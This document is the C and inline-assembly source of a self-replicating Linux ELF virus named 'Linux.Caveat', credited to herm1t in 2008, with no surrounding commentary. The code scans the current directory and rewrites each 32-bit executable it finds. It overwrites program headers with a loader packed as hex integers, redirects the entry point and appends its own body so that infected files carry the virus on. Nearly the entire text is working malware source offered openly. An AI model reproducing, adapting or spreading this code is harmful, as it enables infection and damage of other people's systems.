Linux.Caveat
herm1t
/* Linux.Caveat (x) herm1t@vx.netlux.org, feb 2008 */
#include
#include
#include
#include
asm("fake_host: mov $1,%eax; sub %ebx,%ebx; int $0x80;");
asm(".globl _start");
asm("_start: add $40,%esp; call caveat; popa; push $fake_host; ret");
#define NULL ((void*)0)
#define ASM asm volatile
#define _SC(r,NR) "push %1\npop %%eax\nint $0x80":"=a"(r):"i"(NR)
#define syscall0(NR) \
({int r;ASM(_SC(r,NR));r; })
#define syscall1(NR,a) \
({int r;ASM(_SC(r,NR),"b"((int)(a)));r;})
#define syscall2(NR,a,b) \
({int r;ASM(_SC(r,NR),"b"((int)(a)),"c"((int)(b)));r;})
#define syscall3(NR,a,b,c) \
({int r;ASM(_SC(r,NR),"b"((int)(a)),"c"((int)(b)),"d"((int)(c)));r;})
#define syscall6(NR,a,b,c,d,e,f) \
({int r;ASM("push %%ebp\nmovl %%eax,%%ebp\nmov %1,%%eax\nint $0x80\npop %%ebp" \
:"=a"(r):"i"(NR),"b"((int)(a)), \
"c"((int)(b)),"d"((int)(c)),"S"((int)(d)),"D"((int)(e)),"0"((int)(f)));r;})
#define exit(a) syscall1(1, a)
#define read(a,b,c) syscall3(3, a,b,c)
#define write(a,b,c) syscall3(4, a,b,c)
#define open(a,b) syscall2(5, a,b)
#define close(a) syscall1(6, a)
#define creat(a,b) syscall2(8, a,b)
#define time(a) syscall1(13, a)
#define lseek(a,b,c) syscall3(19, a,b,c)
#define rename(a,b) syscall2(38, a,b)
#define readdir(a,b) syscall2(89, a,b)
#define munmap(a,b) syscall2(91, a,b)
#define ftruncate(a,b) syscall2(93, a,b)
#define mprotect(a,b,c) syscall3(125,a,b,c)
#define mmap(a,b,c,d,e,f) syscall6(192,a,b,c,d,e,f)
static void inline memcpy(void *dst, void *src, int len)
{
int i;
for (i = 0; i < len; i++)
*(char*)dst++ = *(char*)src++;
}
static void infect(char *filename, char *self)
{
char loader[60];
int h, l, i, ok, size;
uint8_t *m;
uint32_t old_entry, off, base;
Elf32_Ehdr *ehdr;
Elf32_Phdr *phdr;
ok = base = 0;
*(unsigned int*)(loader + 0x00) = 0x65786860;
*(unsigned int*)(loader + 0x04) = 0x6c680000;
*(unsigned int*)(loader + 0x08) = 0x68652f66;
*(unsigned int*)(loader + 0x0c) = 0x65732f63;
*(unsigned int*)(loader + 0x10) = 0x72702f68;
*(unsigned int*)(loader + 0x14) = 0x29e3896f;
*(unsigned int*)(loader + 0x18) = 0xe9056ac9;
*(unsigned int*)(loader + 0x1c) = 0;
#define LOADER_JMP 28
*(unsigned int*)(loader + 0x20) = 0x6880cd58;
*(unsigned int*)(loader + 0x24) = 0;
#define LOADER_OFF 36
*(unsigned int*)(loader + 0x28) = 0x6a016a50;
*(unsigned int*)(loader + 0x2c) = 0x10006805;
*(unsigned int*)(loader + 0x30) = 0x89510000;
*(unsigned int*)(loader + 0x34) = 0x585a6ae3;
*(unsigned int*)(loader + 0x38) = 0xe0ff80cd;
extern int _start;
extern int virus_end;
size = (char*)&virus_end - (char*)&_start;
if ((h = open(filename, 2)) < 0)
return;
if ((l = lseek(h, 0, 2)) < 0)
goto error1;
m = (char*)mmap(NULL, l, PROT_READ|PROT_WRITE, MAP_SHARED, h, 0);
if ((uint32_t)m > 0xfffff000)
goto error1;
ehdr = (Elf32_Ehdr*)m;
phdr = (Elf32_Phdr*)(m + ehdr->e_phoff);
if (*(uint32_t*)ehdr->e_ident != 0x464c457f ||
ehdr->e_type != ET_EXEC || ehdr->e_machine != EM_386 ||
ehdr->e_version != EV_CURRENT || ehdr->e_ident[EI_OSABI] != ELFOSABI_NONE) {
error2: munmap(m, l);
error1: close(h);
return;
}
off = (l + 4095) & 0xfffff000;
*(uint32_t*)(loader + LOADER_OFF) = off;
old_entry = ehdr->e_entry;
#ifdef PARTS
/* replace the PT_NOTE (in PHT) and .note.ABI-tag with loader */
uint32_t note;
for (i = 0; i < ehdr->e_phnum; i++) {
if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0)
base = phdr[i].p_vaddr;
if (base && phdr[i].p_type == PT_NOTE) {
note = phdr[i].p_offset;
if (i != ehdr->e_phnum - 1)
memcpy(&phdr[i], &phdr[i + 1], sizeof(Elf32_Phdr) * (ehdr->e_phnum - i - 1));
ehdr->e_phnum--;
*(uint32_t*)(loader + LOADER_JMP) = note - (ehdr->e_phoff + sizeof(Elf32_Phdr) * ehdr->e_phnum + 32);
memcpy(&phdr[ehdr->e_phnum], loader, 32);
memcpy(m + note, loader + 32, 28);
ehdr->e_entry = base + ((char*)&phdr[ehdr->e_phnum] - (char*)m);
ok++;
}
}
#else
/* replace PT_PHDR/PT_GNU_STACK/PT_NOTE with loader */
Elf32_Phdr new_phdr[ehdr->e_phnum];
int new_phnum = 0;
for (i = 0; i < ehdr->e_phnum; i++) {
if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0)
base = phdr[i].p_vaddr;
if (phdr[i].p_type == PT_NOTE || phdr[i].p_type == PT_PHDR || phdr[i].p_type == PT_GNU_STACK)
continue;
memcpy(&new_phdr[new_phnum++], &phdr[i], sizeof(Elf32_Phdr));
}
if (base && ehdr->e_phnum - new_phnum > 1) {
ehdr->e_phnum = new_phnum;
memcpy(phdr, new_phdr, new_phnum * sizeof(Elf32_Phdr));
memcpy(&phdr[new_phnum], loader, sizeof(loader));
ehdr->e_entry = base + ((char*)&phdr[new_phnum] - (char*)m);
ok++;
}
#endif
if (ok) {
ftruncate(h, off);
lseek(h, 0, 2);
write(h, self, size);
lseek(h, off + 10, 0);
write(h, &old_entry, 4);
}
goto error2;
}
static void __attribute__((used)) caveat(void)
{
char dot[] = { '.', '\0' };
char d[256];
int h;
char *self = __builtin_return_address(0) - 8;
if ((h = open(dot, 0)) > 0)
while (readdir(h, d) > 0)
infect(d + 10, self);
close(h);
}
asm("virus_end:");